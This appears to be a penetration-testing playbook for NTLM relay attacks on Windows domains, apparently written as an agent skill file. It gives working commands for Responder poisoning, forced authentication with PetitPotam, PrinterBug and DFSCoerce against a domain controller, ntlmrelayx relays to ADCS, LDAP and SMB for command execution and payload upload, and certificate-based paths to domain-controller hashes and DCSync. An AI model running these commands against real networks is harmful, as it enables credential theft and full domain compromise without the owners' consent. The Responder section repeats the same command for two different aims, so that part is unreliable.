ntlm-relay-attack

NTLM Relay Attack Methodology

NTLM Relay is one of the most powerful lateral movement techniques in domain penetration—no need to crack passwords, directly forward authentication requests to other servers to gain access.

⛔ In-Depth References (Must Read)

• Detailed relay attack configuration and various relay targets → references/relay-techniques.md
• Forced authentication methods (PetitPotam/PrinterBug/DFSCoerce/file poisoning, etc.) → references/coercion-methods.md
• Responder configuration and poisoning mechanisms (LLMNR/WPAD/mitm6) → references/responder-config.md
• SOCKS proxy lateral movement (ntlmrelayx SOCKS + proxychains) → references/socks-pivoting.md

---

Core Concepts

Three elements of NTLM Relay:

1. Trigger(Trigger): Make the target machine/user initiate NTLM authentication to the attacker
2. Relay(Relay): Forward the received authentication request to the target service
3. Target(Target): The server that accepts the relayed authentication

Prerequisites: The target service does not have SMB Signing or EPA (Extended Protection for Authentication) enabled.

Phase 1: Environment Reconnaissance

1.1 Check SMB Signing

# SMB 签名未强制 = 可中继
netexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# 输出没有 signing:True 的主机

# 或用 nmap
nmap -p 445 --script smb2-security-mode 10.0.0.0/24
# "Message signing enabled but not required" = 可中继

1.2 Check ADCS Web Enrollment

# ADCS HTTP 端点通常无 EPA → 可中继
netexec ldap DC_IP -u USER -p PASS -M adcs
# 列出 CA 服务器和模板

# 或直接访问
curl -sk https://CA_SERVER/certsrv/

Phase 2: Attack Decision Tree

有什么条件？
├─ 在内网且有网络接口 → Responder 毒化（被动收集 Hash / 主动中继）
├─ 有域凭据 → 强制认证（PetitPotam/PrinterBug）→ 中继
├─ 目标有 ADCS Web Enrollment → 中继到 ADCS 获取证书 → 域控
├─ 目标关闭 SMB 签名 → 中继到 SMB/LDAP
│   ├─ 中继到 LDAP → RBCD / Shadow Credentials
│   └─ 中继到 SMB → 命令执行
└─ 拿到 NetNTLM Hash 但无法中继 → hashcat 离线破解
详细命令 → [references/relay-techniques.md](references/relay-techniques.md)

Phase 3: Responder Poisoning

# 启动 Responder（关闭 SMB/HTTP 以便 ntlmrelayx 接管）
responder -I eth0 -dwPv

# 或只抓 Hash 不中继
responder -I eth0 -dwPv
# 抓到的 NetNTLMv2 Hash → hashcat -m 5600 破解

Phase 4: Forced Authentication (Coercion)

# PetitPotam（最常用，利用 EfsRpcOpenFileRaw）
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

# PrinterBug（MS-RPRN）
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 或
python3 printerbug.py DOMAIN/USER:PASS@DC_IP ATTACKER_IP

# DFSCoerce
python3 dfscoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

Phase 5: Relay to Different Targets

Relay to ADCS (Obtain Domain Controller Certificate → Domain Admin)

# 最强路径：PetitPotam + ADCS = 域控
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# 触发认证
python3 PetitPotam.py ATTACKER_IP DC_IP

# 获得证书后 → 申请 TGT
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 得到域控 NTLM Hash → DCSync

Relay to LDAP (RBCD / Shadow Credentials)

# Shadow Credentials（推荐，不需要创建计算机账户）
ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target DC_HOSTNAME$

# RBCD
ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user MACHINE$

Relay to SMB

ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"
ntlmrelayx.py -tf relay_targets.txt -smb2support -e payload.exe

→ Complete Relay Technical Details → references/relay-techniques.md

Tool Quick Reference

Tool	Purpose
Responder	LLMNR/NBT-NS/mDNS Poisoning
ntlmrelayx.py	NTLM Relay Core
PetitPotam	EFS Forced Authentication
printerbug.py	Printer Forced Authentication
certipy	ADCS Certificate Attack
hashcat -m 5600	NetNTLMv2 Cracking